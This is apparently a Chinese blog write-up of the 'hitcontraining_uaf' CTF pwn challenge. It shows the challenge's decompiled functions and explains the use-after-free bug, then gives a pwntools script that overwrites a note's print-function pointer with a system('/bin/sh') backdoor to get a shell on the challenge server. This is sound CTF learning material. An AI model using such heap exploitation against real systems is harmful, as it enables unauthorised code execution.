• hitcontraining_uaf


    hitcontraining_uaf

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8047000)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    32位,只开了NX

    int magic()
    {
      return system("/bin/sh");
    }
    
    • 1
    • 2
    • 3
    • 4

    这题算很简单,入门级uaf的题目

    int add_note()
    {
      int result; // eax
      int v1; // esi
      char buf[8]; // [esp+0h] [ebp-18h] BYREF
      size_t size; // [esp+8h] [ebp-10h]
      int i; // [esp+Ch] [ebp-Ch]
    
      result = count;
      if ( count > 5 )
        return puts("Full");
      for ( i = 0; i <= 4; ++i )
      {
        result = *((_DWORD *)¬elist + i);
        if ( !result )
        {
          *((_DWORD *)¬elist + i) = malloc(8u);
          if ( !*((_DWORD *)¬elist + i) )
          {
            puts("Alloca Error");
            exit(-1);
          }
          **((_DWORD **)¬elist + i) = print_note_content;
          printf("Note size :");
          read(0, buf, 8u);
          size = atoi(buf);
          v1 = *((_DWORD *)¬elist + i);
          *(_DWORD *)(v1 + 4) = malloc(size);
          if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4) )
          {
            puts("Alloca Error");
            exit(-1);
          }
          printf("Content :");
          read(0, *(void **)(*((_DWORD *)¬elist + i) + 4), size);
          puts("Success !");
          return ++count;
        }
      }
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    add这里,先申请了一个chunk,用来放置打印的函数,和堆内容指针

    另一个是自己可以申请的chunk

    int del_note()
    {
      int result; // eax
      char buf[4]; // [esp+8h] [ebp-10h] BYREF
      int v2; // [esp+Ch] [ebp-Ch]
    
      printf("Index :");
      read(0, buf, 4u);
      v2 = atoi(buf);
      if ( v2 < 0 || v2 >= count )
      {
        puts("Out of bound!");
        _exit(0);
      }
      result = *((_DWORD *)¬elist + v2);
      if ( result )
      {
        free(*(void **)(*((_DWORD *)¬elist + v2) + 4));
        free(*((void **)¬elist + v2));
        return puts("Success");
      }
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    uaf 不解释了

    int print_note()
    {
      int result; // eax
      char buf[4]; // [esp+8h] [ebp-10h] BYREF
      int v2; // [esp+Ch] [ebp-Ch]
    
      printf("Index :");
      read(0, buf, 4u);
      v2 = atoi(buf);
      if ( v2 < 0 || v2 >= count )
      {
        puts("Out of bound!");
        _exit(0);
      }
      result = *((_DWORD *)¬elist + v2);
      if ( result )
        return (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2));
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    show这里是调用程序给我申请的chunk里面的打印函数去打印的

    思路

    我们利用uaf,并且在fastbin里面链好chunk,就可以申请到程序上面的chunk,

    然后修改打印函数为我们的后门函数,调用就能getshell了

    from pwn import*
    from Yapack import *
    libc=ELF('libc-2.23_32.so')
    r,elf=rec("node4.buuoj.cn",28063,"./pwn",0)
    context(os='linux', arch='i386',log_level='debug')
    
    add(0x8,b'aaaa')
    add(0x18,b'aaaa')
    
    dele(0)
    dele(1)
    #debug()
    add(0x8,p32(0x8048945))
    show(0)
    ia()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    bin上面链上的变成如下就可
    在这里插入图片描述在这里插入图片描述

  • 相关阅读:
    Code For Better 谷歌开发者之声——开发者必备神器
    pdm使用经验
    ES6中set的基础、map数据结构和DOM classList的基础用法
    接口测试自动化脚本框架1
    apache 模式、优化、功能 与 nginx优化、应用
    艾美捷QuickTiter 逆转录病毒定量试剂盒测定原理
    Live800:智能客服时代,智能营销机器人有哪些套路?
    ES6 数组解构时不加分号引发的问题
    嵌入式开发:驱动程序设计的5个技巧
    Configure Guest RDMA on Windows Server 2019
  • 原文地址:https://blog.csdn.net/qq_62887641/article/details/133253342